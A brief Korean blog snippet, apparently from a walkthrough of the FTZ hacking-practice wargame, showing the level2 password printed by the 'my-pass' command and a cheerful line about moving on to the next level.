[level2@ftz level2]$ my-pass


Level2 Password is "hacker or cracker".


이제, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts